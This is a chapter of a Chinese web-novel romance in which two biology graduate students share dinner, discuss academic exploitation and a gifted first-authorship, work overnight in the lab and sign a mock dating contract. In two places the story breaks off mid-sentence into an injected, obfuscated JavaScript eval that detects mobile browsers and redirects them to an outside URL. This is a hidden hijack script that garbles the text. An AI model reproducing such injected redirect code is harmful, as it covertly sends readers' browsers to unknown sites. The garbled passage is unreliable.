“哥哥~”倪旖学着弟弟说话。 特瞧不上这撒娇,觉得腻歪。 又死不认输,硬着头皮上。 蒋商鉴猛然觉得这就是把唐僧抓到洞里的蝎子精,还特凶猛说,我可不是娇滴滴的女王,有的是力气和手段。 “我是谁?”蒋商鉴怕她还醉着。 “前男友啊。”倪旖脱口而出,既然醉了,就好好利用。 “看清楚,”蒋商鉴往前凑凑,垂眸时眼里泛起一点冷意,“我是谁?” “商商。”倪旖脸颊倏地变红。 微醺下蔓延着。 “嗯,给你做饭的是蒋商鉴,记着啊。”蒋商鉴真怕这暴力兔子受欺负。 倪旖乖乖点头,心里放肆嘲笑,哪儿来什么前男友? 蒋商鉴将瓷勺洗干净递去,垂眸时眼皮有些笑意,柔声道:“你要是我亲妹,我能给你捶死,整天不学好,还醉酒,一天欠一顿打。” “师哥,你有兄弟姐妹?”倪旖两只手撑在灶台上,用小白瓷勺挖蛋羹。 “算有。”蒋商鉴笑得落寞。 倪旖很快注意到他眼里不对劲,也没继续聊下去,果断转移话题:“我的意思是,你还缺嘛?” 蒋商鉴撇头微微发愣。 “我给你做弟弟,我弟弟给你做妹妹,他爱撒娇,所以每次被打都是我,不过我头铁,不怕。”倪旖用笑话将尴尬话题直接覆盖。 “头铁也会痛。”蒋商鉴淡淡道。 “我也没傻到拿头去硬碰硬,一般跟我妈杠两句,直接逃避爆发现场,等气消了,这事儿也就过去。”倪旖挖一小勺蛋羹托着喂到他唇边。 蒋商鉴吞下那勺蛋羹。 “还是我爸好,老能让我玩,我妈就不行,总掐我,掐我大腿,特疼,一巴掌呼过来就一红手印。”倪旖带着笑说出来,没觉得多奇怪。 顽皮的人是不缺打的。 “你干了什么?”蒋商鉴没觉得许珊老师那种性格真能扇闺女,估计犯了事儿挺大。 “还好,”倪旖轻描淡写,“你猜我家为什么换独栋别墅?” “……”蒋商鉴一愣,回锅肉差点糊了,赶忙拿锅铲炒出来,“你该不会把你家给烧了?” “差一点,”倪旖幽幽道,“我在小舅实验室偷了点火箭燃料。” “火火火……箭?”蒋商鉴将燃气灶熄灭,专心听她的骇人事迹。 “用火箭模型模拟发射,混入tovex制造一种易燃的凝胶,能产生万牛近千万牛推力。”倪旖淡淡道。 “……”蒋商鉴真觉得这孩子真欠揍,就这……这都得上报国家安全局。 “原料配比没调整好,模型不等于全尺寸火箭,反应罐直接冒不明气体,塞电梯下行中途炸了。”倪旖很淡定。 “……”蒋商鉴沉默着把燃气灶点燃,先把肉丝倒进去,然后将盐水泡过也开水焯过的西兰花倒进锅里炒。 “全额修电梯后被迫搬家,怕误杀路人,我被揍得可惨,我妈那一巴掌呼过来,我腰上直接多个红印。”倪旖还能回忆到那火辣辣的触感。 “你该庆幸没被逮进警局。”蒋商鉴幽幽道,撇头淡漠,“这不是你干过的第一起事件吧?” “我养的黏菌从培养皿越狱,隔壁那邋遢老头阳台被占领。”倪旖满脸懊恼再补充道,“养菌千万不能让它察觉被养,它会立马死给你看。” “……”蒋商鉴用锅铲翻炒肉丝和西兰花,攥着酱油瓶往里着色。 倪旖将厨房门掩着。 倪旖懂他评奖评优需要SCI,被夺一篇论文不好立刻弄回来,便抬眸试探问道:“师哥,我这有成熟课题,你拿回去应急,mtDNA相关,单细胞分析揭示mtDNA上下文依赖性细胞水平选择。” 蒋商鉴沉默着,他真的需要这篇论文,毕竟自己论文被抢,简历一段时间是空白的,可能还要延毕,不利于之后进校研究。 “就做一半,花钱用机构设备那部分数据刚弄出,你接我家实验室做,发cell或nature碰运气,nature正刊估计行,First Author和通讯你安排,我二作。” 倪旖简单分配论文归属。 就好像让出一作身份很简单似的。 那也是她命根子磨一年出来的,请daddy各种同门师兄,甚至直接拜访老祖。 可是蒋商鉴前途很重要。 “现在学术缩水,一篇nature正刊一作暂时能让学校邀请毕业留校当副教授,职称正教授待遇,再晚点就是特聘研究员,不然就是特聘教授,麻烦。” 倪旖一直浸泡在学术氛围,脏的干净的多少懂一点。 蒋商鉴往左拧燃气灶,很清脆啪哒声,厨房静得就跟时间暂停似的。 倪旖抬眸望着他,神情很真诚。 “倪旖,接受这篇论文跟小导师抢我的有区别吗?”蒋商鉴脸色惨白。 “师哥,这只是个课题,对外严格保密,你参与那部分很重要,你缺少灵感,而我有。”倪旖很严肃。 蒋商鉴将锅铲轻轻放下,俯身双手搭在她肩上,垂眸严肃道:“对于科研工作者来说,灵感是可遇不可求的,论文在乎的就是那一丁点灵感。” “师哥,我也有私情,你懂吗?” 倪旖眼里透着点点狠劲,做研究的一般都很犟,苟成果要聪明还要毅力。 “……”蒋商鉴往后闪退。 倪旖看他那害怕模样,估计想歪,从灶台递给手机,甚是无语解释:“这是我邮箱。” 蒋商鉴点开邮件页面。 微微发愣。 通讯作者需要填邮箱。 她工作邮箱全是辱骂。 明眼人都能看出来,看她不顺眼,不是因为她脾气大,也不是因为吃饭挑剔,更不是因为她和别人一起时客观上不顾他人感受,只顾自己风头。 归根结底,他们最受不了的只有最后一种,她来得最晚,却得到最多。 科研努力跟收获不成正比。 需要天赋。 蒋商鉴微微蹙眉:“你为什么会觉得你的论文能被nature正刊接收?” “心灵感应。”倪旖淡淡道。 考得好跟不好,心里得有点逼数。 “谢谢,没必要。”蒋商鉴费了好大的科研素养来折磨自己切勿走捷径,但吃软饭确实挺爽的。 这是nature唉。 还是正刊了唉。 一作资格。 命给她都行。 “你再考虑考虑,十个工作日后给我回复就行。”倪旖知道他会想明白,他已经进退维谷,两篇cell一作被强行搞成共同一作,还有一篇nature被剽窃啥都没,最近被抢事件是小导师儿子搞创新大赛。 惨得不行,还忍着。 家里是真的都没底气给撑腰。 开题答辩还被小导师穿小鞋拖着。 得延毕,继续压榨。 没通过。 大老板不管事。 蒋商鉴端着碟,真怕坚持不过十个工作日,再次强烈声明:“真不用。” “师哥,你放心,不是强行一作让你顶雷,反正,再考虑考虑。” 倪旖轻声道,手肘搁栏杆上,单手撑着下巴,脚尖时不时顶一下最底下的栏杆,每顶一下就痴笑一声。 她痛苦并且快乐着。 一篇Nature正刊换个男友很值。 “吃完饭我能看到你的数据和概论吗?”蒋商鉴真没法不心动,生物专业发nature和cell就很困难,还是正刊潜力股。 “行。”倪旖张口便答应,是个生物人对于Sci一区正刊都是无法拒绝的,何况被小导师压榨厉害的蒋商鉴。 蒋商鉴那种情况属死亡悬崖境界,首席大老板不管,青椒小老板作妖,本来相对轻松,但小老板评职称要一作。 如果跟大老板告状说小老板不带,除非你不想混了。被抢一作挺普遍,但是让研究生抽精力搞小老板家儿子中学生创新大赛论文争保送名额就侮辱人。 “你妈不需要吗?”蒋商鉴端着碗摆好位置,捏筷子坐一边撇头问。 “我妈说,千万别署她名,她嫌埋汰。”倪旖用戏谑语气开玩笑。 蒋商鉴会心一笑,神经放松了些。 倪旖握着筷子笑道:“千万别用学校实验室资源和资金,小导师欠锤,真中nature正刊,保不准怎么小肚鸡肠,用大型仪器设备直接找机构花钱做,或者找琼森教授。” “?”蒋商鉴给她夹菜吃。 “怕到时候拉扯不清,用了实验室的资源,需要导师署名共同或者通讯,还要带基金号,那干脆找正规机构花钱做,或者国外我daddy的老师那个实验组机器。”倪旖算是谨慎,这种数据问题都属于机密,得找专业机构,大型设备那都巨贵。 蒋商鉴点头,他快佩服死倪旖。 “不用学校相关,Funding source和acknowledge都不会出现小老板那可恶嘴脸,Declare no conflict of interest咋整?直接找大老板?不靠谱,你要出国,那就找琼森教授先邮箱联系沟通,她人特好,也喜欢聪明人。” “师哥你硕博期间都捆绑小老板,大老板只管毕业论文,小老板必须得祭天,换导师都没用,而且很难换。” “怎么才能不动声色把小老板祭天呢?联合网络实名举报闹大影响前途,偷偷匿名朝市政举报容易被穿小鞋,虽说是匿名,有点背景都知道是透明。” “真举报,国内换导师没人敢收,谁没亏心事?能举报小导师就能搞大boss。就算老师没学术不端,谁还不pua强迫学生做横向,导师跟皇帝似的。” “话说这小老板这年纪,应该也有孩子了,这个年纪的男人最在意的是家庭,而不是事业,最容易破防的,是孩子成绩差,中年脱发,老婆出轨,下半身不行,长辈生病之类的,我光想想我都破防。” 倪旖得知这茬就烦躁。 蒋商鉴默然,挺绝望的,明明问题就摆在那儿没法解决,学术圈挺恶心。 倪旖琢磨半天突然笑出来,抬眸很古灵精怪道:“师哥,你送过礼吗?” “……”蒋商鉴微微摇头。 “给我半年时间,还你一个鳖孙小导师。”倪旖眼睫毛笑得直颤。 “你怎么知道我遇到的困境?”蒋商鉴拿汤勺给她弄点汤。 “我不想你见着我都会排斥,虽然我享受家族资源,但没赤裸裸剥削过他人。”倪旖没法完全抽开,虽然挺凡尔赛,没用过显性资源,但隐性人脉资源倒是不少。 “为什么帮我?”蒋商鉴再问。 倪旖挺喜欢打直球,嫌含蓄麻烦,可有些事得循序渐进,便道:“师哥,等你的事情结束,我再告诉你,也许你懂,但先假装不知道。” 蒋商鉴点点头:“汤凉了。” 倪旖捧着小碗抿口肉丸蔬菜汤,比着大拇指,笑嘻嘻嘟囔道:“师哥,好吃呀。” “嗯。”蒋商鉴看她那欢喜模样,就跟看祖宗似的,这就是他的财神爷。 “咱明晚去演唱会溜达一圈,我也烦透高中小可爱,可以躲实验室。”倪旖笑得真的很幸福,总算可以正当理由逃离高中,不用适应集体生活。 倪旖吃饭时间顺手将论文发给他。 蒋商鉴连饭都忘了吃,盯着那论文Abstract往下慢慢看,看了快十页,比见了活鬼还吃惊,抬眸难以置信:“这是你独立完成的?” “……”倪旖被质疑惯了,忍耐出脱口而出的辱骂,淡淡道,“嗯。” “卧槽。”蒋商鉴低声骂了一句。 努力在天赋面前一文不值。 “……”倪旖爽翻天,觉得自己真特么帅,翘起的嘴角很难压下去。 “卧槽。”蒋商鉴文明不下去。 倪旖起身去屋里喊弟弟吃饭,溜达到屋里高兴到整个一蹦哒。 “箴箴,吃饭吃饭。”倪旖去骚扰饿到昏厥的弟弟,拖着人胳膊就出去。 “哎呦,饿死我了。”倪箴捂着肚子叫唤着,洗了洗手就猛吃菜,都分不清咸淡,吃了几分钟才嘟囔,“茶菇有点咸。” 蒋商鉴做饭,那茶菇炒肉烧咸了。 倪旖津津有味,点头夸奖道:“咸了好!咸了下饭!夏天流汗,要补充点盐分!吃咸了还能多喝水,多喝水对身体好!” 一堆彩虹屁吹嘘出来。 蒋商鉴做的西兰花烧淡了。 这咸淡不分就在她要收买时间段。 人都懵逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246156|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪儿管菜咸淡的。 倪旖直线双标:“吃淡点好,健康饮食,吃咸了容易得高血压,现在人都提倡低盐低油的生活。” “你真是,就你捣乱,不然哥哥肯定不会弄咸。”倪箴抱怨两句,就算咸吃得也香,很下饭。 “你别撒娇,就叫他蒋哥,使用叠词我腻歪,恶不恶心?”倪旖牙齿缝挤出一丁点语气,眼里全是威胁。 “我哥哥多着呢,你管。”倪箴扒拉两口饭,还嘴一翘,哼一声。 “你那数学暑期补习卷,满分一百二,还没到九十,皮痒了。”倪旖只得旁处敲打,眼里氤氲一层狠厉神色。 “……”倪箴气得起身扒拉菜,满满堆一碗盖,一点不回头就蹲门边吃。 “别到时候跟商商抢食儿。”倪旖幽幽道,一出口就后悔,“我是说狗,不是说你。” “我也没觉得说我。”蒋商鉴直勾勾盯着论文,真的很牛逼,这小天才脑袋里装着宇宙。 “哪里看不懂?”倪旖挪挪椅子,撇头一眼看屏幕,随意将桌面那彩色的纸铺开,每张只有两个巴掌那么大。 这是包苹果用的,苹果成熟后要每只包上一张彩色纸,然后再放盒子里。 “跟我课题组不同,我曾经被分配研究父系肠道菌群,这是合成生物学。”蒋商鉴眼神就是这样淡淡的,懒散的,这声音听起来比较契合他的气质。 他逆着光,倪旖被刺的微微眯了眯眼,随意“啊”了一声。 “那给我看看你现在研究的。”倪旖得跟他对齐颗粒度。 蒋商鉴点开文献传输助手:“肠道微生物群在宿主环境相互作用的页面运行,以影响人类同质化代谢网络。” 此刻,倪旖的心脏连着胸腔,一声一声,剧烈地跳动着,将外界声响隔绝。 惹得人头晕目眩,浑身发胀。 汗水从腋窝处滚落的黏腻感更是让她的不适抵达极致。 文献传输助手这就是她大号啊。 贴脸开大。 好想死。 “确定延毕,我就在摆烂被迫搞这个实验,小导师把我踢出主要组,用的是近交系c57bl/6j品系小鼠模型,已经结束组织学染色,接下来是免疫荧光染色,需要把收集的胎盘样品在40℃下固定在4%多聚甲醛中。” 倪旖简单理解一番,抢答道:“还要ELISA检测。貌似你还得收集单独养殖F?粪便样品。还早着呢?好大工程。” “小孩姐,好厉害,什么都懂唉。”蒋商鉴桃花眼微微流露琥珀色笑意,脸上也没什么表情,微微抿了抿唇,视线稍作停顿。 “还行。”倪旖继续猜他心思。 在苹果纸写写画画。 但对蒋商鉴来说,从倪旖开始写下第一笔时,他就再听不到周围声音。甚至连倪旖滑动笔尖动作都从他视线里消失,他只能看到那道缓缓成形的词。 很长,很有难度,他能看懂其中一些部分,却对另一些部分完全陌生。 生物研究生早上一眼醒来,6:40,裹上一身白大褂,左手抱着实验报告,右手拿着实验课本,口袋里还要放一只笔,风风火火去餐厅吃饭。 随身携带圆珠笔。 蒋商鉴完全沉浸其中,感到困惑不解却又觉得很挑战,下意识翻过初稿往下记,嫌别扭还从口袋里抽出笔,将之在苹果纸上标注。 写着写着,蒋商鉴脑海中继续冒出一些很奇怪思路,结合倪旖想法,一些朦胧想法从脑袋蹦出,不由得将这些都记录下来。 倪箴根本听不懂,就挣点存在感,试探问:“可乐鸡翅没啦?最后一个给我啦。” 蒋商鉴没什么心思理他,他此时此刻的注意力全都在眼前的这只小可爱身上了,眼皮子都没掀一下。 好棒的女孩。 “去,去,去。”倪旖敷衍道。 总算遇着知己,得说到天亮。 “先吃饭,不急。”蒋商鉴见她着急模样,将手机缩回塞兜里,捏着筷子夹些肉片放她碗里。 “师哥,那吃完我们去实验室?基础试验能继续。”倪旖扒拉饭,迫不及待就想去工作,七塞八塞往下咽。 蒋商鉴眼里全是欣赏,连说话语气也温柔道:“你还晕着呢,醉酒啦,不记得?” “不是,我来灵感就爱搁实验室憋论文,现在我有。”倪旖抽两张纸,就擦擦嘴,撇头就准备去实验室。 倪旖挥舞手臂时几乎蹦起来动作,不知道戳到蒋商鉴哪根笑点神经,她跑步途中听见他轻浅笑声。 蒋商鉴见她一溜烟跑掉,也没拦,自己吃完饭涮碗结束就跟上次路线摸黑去大院里地下实验室。 上次那小孩姐给他录指纹。 扫指纹进去。 蒋商鉴懒洋洋地倚着墙,眼里带着睡眠不足的红血丝,没什么精气神地看着缓冲间更衣室里奔来跑去的倪旖。 他散怠抬起头,视野一片清晰。 蒋商鉴抬手搓着后脖颈,声音带着浓浓的倦意:“要去细胞间?” “一起?”倪旖向后撤了几寸,裤腿落下来勉强盖住了她脚腕上的擦伤。 “脚怎么了?”蒋商鉴注意红痕。 “不小心摔跤。”倪旖将护目镜佩戴好,一垂眸,微微吃惊。 “没弄喷雾?”蒋商鉴蹲地面上,撩开她脚踝处衣料,红痕擦伤很明显。 倪旖脑袋像被玻璃罩闷住了。 总而言之,那十几秒的时间,对于倪旖来说好像被拉长了无数倍,每一毫秒都走的格外谨慎细微。 蒋商鉴抬头看向站着的她,那双眼睛麋鹿一般,只有对着倪旖时候,才会有这种毫无防备的姿态和笑意。 “没止痛喷雾?”蒋商鉴问道。 倪旖瞅着蒋商鉴,他那唇勾出一个轻佻又寡淡的笑。 散漫、毫不在意。 笑得跟负心汉似的。 “等会儿穿脚套,不会有细菌,再说,无菌室,都有操作台。”倪旖脸顿时红得像是浸烫的虾,脖颈也后知后觉地攀上大片绯红。 “嗯。”蒋商鉴起身。 窗外一阵微冷的风袭来,身上霎时起了一阵凉意。 “我先去细胞间。”倪旖埋头,想逃跑,毕竟她有点小情况。 “是哭了?”蒋商鉴察觉她眼圈微红,还有一点肿,时间一推理,照常理出牌,她着急实验不可能才到第一缓冲间。 倪旖一愣。 静谧的漏跳后,心跳好似潮水般地狂肆而来,席卷了她整副躯体的神经。 “摔得有点痛。”倪旖敷衍道,眼神闪躲,连思维都沉重,便去小凳子坐着调整情绪。 蒋商鉴微微俯身,安慰她。 倪旖坐在那儿,被他抱在怀里时,脑袋轻轻靠在他腰腹间,脸颊蹭着的那一块布料,温热而潮湿。 30.心疼 “谢谢。”倪旖微微耸泣。 “是鬼畜视频闹的?”蒋商鉴猜测道,毕竟大心脏突然遇着事,就可能这原因,被人嘲笑迷糊没脑子,得反驳。 “好多人羡慕我的天赋,可他们并不知道,我没那么想要。”倪旖可是能连续加个一周班熬夜,就算腰酸背痛牙龈出血扁桃体发炎,全身都不舒服。 就算每天靠咖啡半死不活地续命。 人生格言就是,你让我难堪委屈不痛快,我便也卯足劲儿地恶心你。 可是个人就会情绪崩溃。 她没法面对自证佛里佛气地说了一通,显得多么宽仁豁达,女菩萨似的。 有时,她需要每天花18小时实验。 人们却用天才两字埋没她的努力。 蒋商鉴的手很是干净修长,骨节分明的手指慢慢擦拭她眼泪。 白皙的手腕随着擦拭动作从白大褂实验服洁净的袖口中露出些来,衬着手背青色血管,煞是好看。 蒋商鉴指节经常拧试验制剂,中指内侧指腹覆着一层微微发硬的薄茧,但手背的肌肤却细腻如丝绒。 倪旖简直着迷于这样的手,有一种经实验狂上进干活后愈发成熟的美感。 就欣赏这种聪明努力的男人。 “师哥。”倪旖轻轻道。 “嗯。”蒋商鉴没说安慰话。 她都懂。 她只是想偶尔发泄。 “穿无菌服吧,咱把实验做好,明早再走,可以吗?”倪旖想骗个免费劳动力,今晚任务有点重,各种试剂检验很麻烦,还要刷瓶子,他在,好歹减轻点。 “不太好。”蒋商鉴拒绝。 倪旖微蹙眉明白其中瓜葛,抬头指指头顶,轻笑道:“师哥,有监控。” 那明明是烟雾器! 哪家监控在更衣室? “你先去,我穿无菌服。”蒋商鉴特怕瓜田李下说不清,可倪旖有本事,真想搞他,也不差瓜田李下这点嫌疑。 “行,快点。”倪旖交代后穿戴无菌服去缓冲区消菌走廊风淋冲两圈按正规步骤将操作台用紫外线杀菌半小时,将试剂管移去,隔玻璃旋开硅胶瓶盖。 她好快乐。 最主要的是,这是件不应该的事。 于是她就更为快乐了。 听着电梯滴答等着他。 “到哪步骤了?”蒋商鉴轻声问。 “自己看。”倪旖懒得理他。 一般干活时懒得说话分心。 也怕污染样品。 蒋商鉴也便陪着,听着她指挥。 “你搞WB,我内参总弄不齐,两边H3比中间稍微浓一些,跑胶或敷抗体有问题,达不到target敲降结果。” 倪旖给他布置任务。 挺基础的分子生物检测法。 “好。”蒋商鉴取两块提前灭过菌的干净1.5板子夹好再制胶。 倪旖也没嘴他,都是专业的。 也不知过多久。 只听见冰箱嗡嗡运行。 倪旖眼睛都快瞎掉,看荧光显微镜好痛,连腰都酸得像被小虫咬了似的,酸麻,僵硬,一抬眸,看着电子钟表。 都凌晨一点。 该睡觉了。 “你在看什么?”倪旖眯眼睛摁着腰窝走到他面前,看着他问。他的嗓音低沉着,听上去有些哑。 蒋商鉴说:“导原文件。” “哦哦。”倪旖眼神呆滞。 蒋商鉴凑近了看他的眼睛:“你不是在梦游吧?” “重复一次,你呢,有没有晕乎一秒调错试剂量。”倪旖嘟囔抱怨。 “我还行。”蒋商鉴虽是疲惫,但眼里全是满足,冒着小金光那种兴奋。 “师哥,抱一下吧。”倪旖故作轻松张开双手,“让我吸吸欧……” 蒋商鉴上前。 俯下身。 抱了满怀。 说到一半的话戛然而止。 倪旖一愣,脑子差点宕机,半晌,才从迷迷糊糊状态清醒,搂好几分钟才慢半拍放下手去搂他,鼻间都是那股皂角味道。 在那一瞬间,倪旖真的想哭。 干活勤奋的男人最帅。 虽然有点傻乎乎的,但身上有着十七八岁的青涩抽条感,也有着超乎同龄人的成熟,两种风格矛盾又迷人。 男主似的。 蒋商鉴说:“好运给你。” 倪旖垂眸时眼皮有些笑意,还带点倦意咳嗽两声道:“师哥,咱关通风设备睡觉去,你跑一天还撑着做实验,明早得腰痛。” “倪旖,如果接受,我需要付出什么代价?”蒋商鉴撑着懒腰,淡淡道。 “娶我。”倪旖直接看门见山。 “……”蒋商鉴呆若木鸡。 “这么说,我需要个男朋友,因为家里到一定年龄会安排竹马哥培养感情结婚,我日子到了,得抗争。” “……” “我家主商,估摸着跟政军联姻维护权势,有句话很有意思,小家庭捧出来的大少爷比大家族出来的小少爷难伺候,我都不想沾染,不乐意伺候人。我不想结婚的,人一结婚就开始走下坡路。” “……” “你呢,没啥威胁,我得自由,还能接管企业不被强制边缘。箴箴暂时没继承想法,但结婚那老婆会分资产,我daddy要死了,我要管着,怕嚯嚯干净。” “……” 静默片刻后,蒋商鉴清晰听到倪旖好像轻嗤了一声。 “你是单身,也干净。” 这是什么语气? 蒋商鉴莫名听出了一股“你可真垃圾啊这么多年还是童子”的嘲讽意味。 “干净?”蒋商鉴没忍住道。 “我们都研究生物的,多少了解些神经学,脑中多巴胺在神经键中释放,造成快感,在老鼠脑袋上埋个电极,再给它个高潮摁键,它会一直摁到死。” 倪旖轻描淡写道。 “……”蒋商鉴脑子嗡嗡的。 “你和老鼠的区别就是无法在视丘下部置入电极,所以伴侣出现啦。”倪旖耸耸肩,抬眸眼里全是冷静。 “我是人,可以控制欲望啊。”蒋商鉴反驳她强盗理论。 “自我刺激实验,哺乳类不说,鸟类和鱼类也有这种现象,你难道超脱三界之外?”倪旖歪脑袋好奇问。 “……”蒋商鉴哑然。 “你去尝尝吧,食髓知味,老鼠都不拒绝,你会拒绝?”倪旖嗤然一笑。 “……”蒋商鉴面色拧巴。 “嫌鸡脏,我可以用电极刺激你脑部下丘体达到自发性知觉经络反应,俗称颅内高潮,跟那个巅峰感觉类似,试试?” 倪旖将口罩拉下懒懒打哈切。 “你到底几岁啊?”蒋商鉴感慨。 “疲倦中年人时期,40到49岁之间,”倪旖无奈解释,“心理年龄测试弄过一次。” “确实。”蒋商鉴赞同点点头。 倪旖抬眸片刻,轻声道:“还有,我喜欢你。” 倪旖真的还在耍心眼子。 阿伦森效应导致认知偏差。 让他迷糊。 “……”蒋商鉴嘴角抽搐了下,把她的脑袋推了回去,“我没兴趣。” 蒋商鉴不喜欢倪旖跟他在利益上耍心眼子。 她大可以直接表白。 他想,会同意的。 “我跟你谈利益,你跟我谈兴趣?你再考虑一番,我只是跟你签合约,把你定下来,以后只许我撩你,懂吗?” 倪旖丧失兴趣,淡淡道。 “特地挑我?还是随便?”蒋商鉴很在乎这种感受。 “偶然下必然。”倪旖说得好听。 蒋商鉴叹口气道:“大街上随便找个人照顾你不都行?” “大街上找不出跟你一样好看的男人啊。”倪旖攥着他衣角将通风设施关闭,打着哈欠去缓冲间换衣裳。 “……”蒋商鉴微蹙眉,将无菌服脱掉,“联姻现在还存在?” “不然呢?你吃穿用品牌,一翻,公主少爷都很小就培养感情,在父辈有限民主下苟活,他们痛苦于丧失自由,外人却歌颂青梅竹马终成眷属。” 倪旖背手将绳解下,脱下手套清洁干净后撩撩刘海,累得虚脱。 “那不听劝?”蒋商鉴怕她作死。 “自食其力。”倪旖美化结局。 被踢吧踢吧离开自己谋生。 不是大富大贵,简单粗茶淡饭。 “好夸张。”蒋商鉴脸色微变。 “吓你的,你不干活,那你还有脸享受家族荣誉,都有代价。”倪旖说起这些,脸上是凉薄和冷漠。 蒋商鉴将实验服搭挂件扣上,斜斜靠在门板,微带倦意哑声哑气道:“那如果我答应,你会怎么安排我?” “安排?”倪旖微带笑意,“蒋商鉴,我会……爱你。” 那个爱字刻意压低。 流连于唇间。 蒋商鉴被说得一愣一愣,连心脏都跳动极速,就像感受到她眼里热情,屋子正向晚风倾泻宾客,冰箱运行声像皮球似的弹来弹去。 “逗你的,”倪旖见他脸颊通红,便爽朗笑道,“我需要你挡挡我的联姻对象,爱我,不需要。” 爱一个人,当然不能先说。 吊着,撩着,勾着,就是别简单说出口。 “我可以理解为,这是你对对于更弱势生命的支配与拆解,是一种廉价且易得的精神供应。”蒋商鉴淡淡道。 “这么理解也行。”倪旖没生气。 “可我有自己的精神追求。”蒋商鉴算是委婉拒绝。 “你不是坚定唯物主义者?”倪旖笑得鸡贼。 “是啊,但不是唯物质主义者。”蒋商鉴知道她言外之意。 “我考虑考虑吧。”蒋商鉴怕她使阴招,想看她行动,他力量太小,就算不答应,以她手段谋略,迟早答应。 再说,就算被迫答应,他不吃亏。 她不蠢,做的每一步都处于最大化利益需求。 双赢,何乐不为。 “行,”倪旖抬眸眼里全是透入骨髓的冷冷坏意,“那再过不久你就是我的男友。” “……”蒋商鉴觉着刺耳,便修改语言,“……我是你的乙方。” “……”倪旖无语,随即眼睛眨眨,搞怪地问,“额……要不咱接个吻先?” “哈?”蒋商鉴被吓到,“你着什么急?我还没考虑结束。” “为什么不急?找对象不就是为了这个?要不然拜把子吗?”倪旖故意说笑话逗他玩,他吃惊微愣片刻真的超级可爱。 “我说你到饭店饿了就敲碗是吗?”蒋商鉴直接翻白眼。 尽管蒋商鉴还像过去一样言语粗暴,不留一点情面,但是从浅笑表情和指关节轻轻触碰她的小动作……那种细微之处能够感受到柔和体贴地方变得多起来。 “玩干的,不搞湿吻。”倪旖得寸进尺。 “不会。”蒋商鉴脸颊发烫,继续用显微镜观察细胞,微微浮俯身凑上去,呼吸声很均匀。 是,不会,而不是,不可以。 “我教你,”倪旖来了劲,“我最会接吻。” “……”蒋商鉴酸溜溜的,“你最会~” “让开,让我看看。”倪旖感觉话怪怪的,便岔开话题,推开他滑动椅凑上去兴奋道,“哇塞,我看到细胞壁黑色,又粗又大,还抖动呢。” “那是你眼睫毛。”蒋商鉴轻轻推搡着,自己凑上去看。 “我俩的细胞膜上识别分子结合,产生新杂种细胞唉。”倪旖瞎扯一通。 “那么激动?”蒋商鉴笑道,本来就是做着玩的,冲走瞌睡虫的小游戏。 “原始造物的快感,跟我用狗的脂肪间充质干细胞分离得知狗的多向分化能力,我把这项目命名为I-DOG。” “……” “这次,那就,WE-DOG?” “……” 蒋商鉴笑得要死,胸腔鼓动着。 倪旖说着凑上去跟那打招呼,指着自己:“你喜欢我还是喜欢师哥啊?” “它们没思想啊。”蒋商鉴笑道,将人驱逐开,怕她再说话自己得笑死。 倪旖凑上去临死一别:“……我很善良,师哥凶恶。” 蒋商鉴给人撩拨开。 倪旖不理会,转身离开,身影在斑驳的光影被拉长,走廊尽头漆黑一片,她抿唇,笑得收敛,一步步朝工位方向走去,修长背影慢慢与黑夜融为一体。 蒋商鉴处理好培养基后跟上去,跟小狗腿子似的。 倪旖咳嗽两声,捂着唇。 蒋商鉴洗好手见她不动,还捧着手掌懵懵抬眸,抬手给她搓搓:“消毒凝胶直接搓搓就行。” 可这是鼻涕啊。 倪旖抬眸满脸震惊。 “不用谢。”蒋商鉴就这话道。 “……”倪旖快速洗净手溜达开。 倪旖摩挲指纹锁,走两步到工位边停下,俯身从抽屉抽出一沓协议随意丢在桌面,整个人慵懒歪到在椅上。 “虽然没法律效益,但做个见证,你敢违约,”倪旖一顿,抬眸笑到有点慎得慌,“……你不敢。” 蒋商鉴上去摸摸她脑壳,攥着那沓协约纸,就当跟小朋友玩过家家,连看都不看,找个黑笔就签署姓名。 “不看看?”倪旖倒是疑惑。 “要撕毁协议不怕这点稿纸,要遵守约定也不靠这点废料,而且,你会折磨我嘛?”蒋商鉴延长声调,“……我猜啊,卡卡小朋友不会。” 他怎么晓得她昵称? 倪旖抬眸,蒋商鉴微微一笑时总会给人以易碎的错觉,但实际上坚韧得不可摧毁,鼓动心跳声被这情绪织成的网套住,感觉酸涩得要化掉。 希望他好好依赖她。 最好受委屈就找她解决。 也不枉自己搞这出。 虽然家族会有联姻,但是不会轮到她和箴箴,因为爹地妈咪会舍不得啊。 本来就是一场赌局。 就赌蒋商鉴懂,却仍然跳下去。 “甲方,谢谢你保护我。”蒋商鉴脑袋转个弯就懂她想法,她不是传统意义大小姐,可见父母多恩爱,怎么舍得联姻这么残忍手段解决倪旖幸福。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246157|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>所以,倪旖很傻。 傻到撒谎骗人,挺劣质的谎言。 劣质到一眼戳破,他想笑。 又,很感动。 倪旖低头捧着华夫饼罐子晃晃,还顺便礼貌回应:“不谢,保护乙方是甲方的义务。” “拆不开吗?”蒋商鉴抬手接过那铁盒罐装华夫圆饼拧开。 “可以帮我灌枫糖浆吗?”倪旖指了指那小瓶琥珀色蜜浆。 “半夜吃糖不怕胖?”蒋商鉴够那碗将华夫饼倒进去,顺便给她往上淋枫糖浆,看着还是蛮有食欲。 倪旖笑得娇俏可人,悠闲道:“你给我淋,你不会给我太多的。” 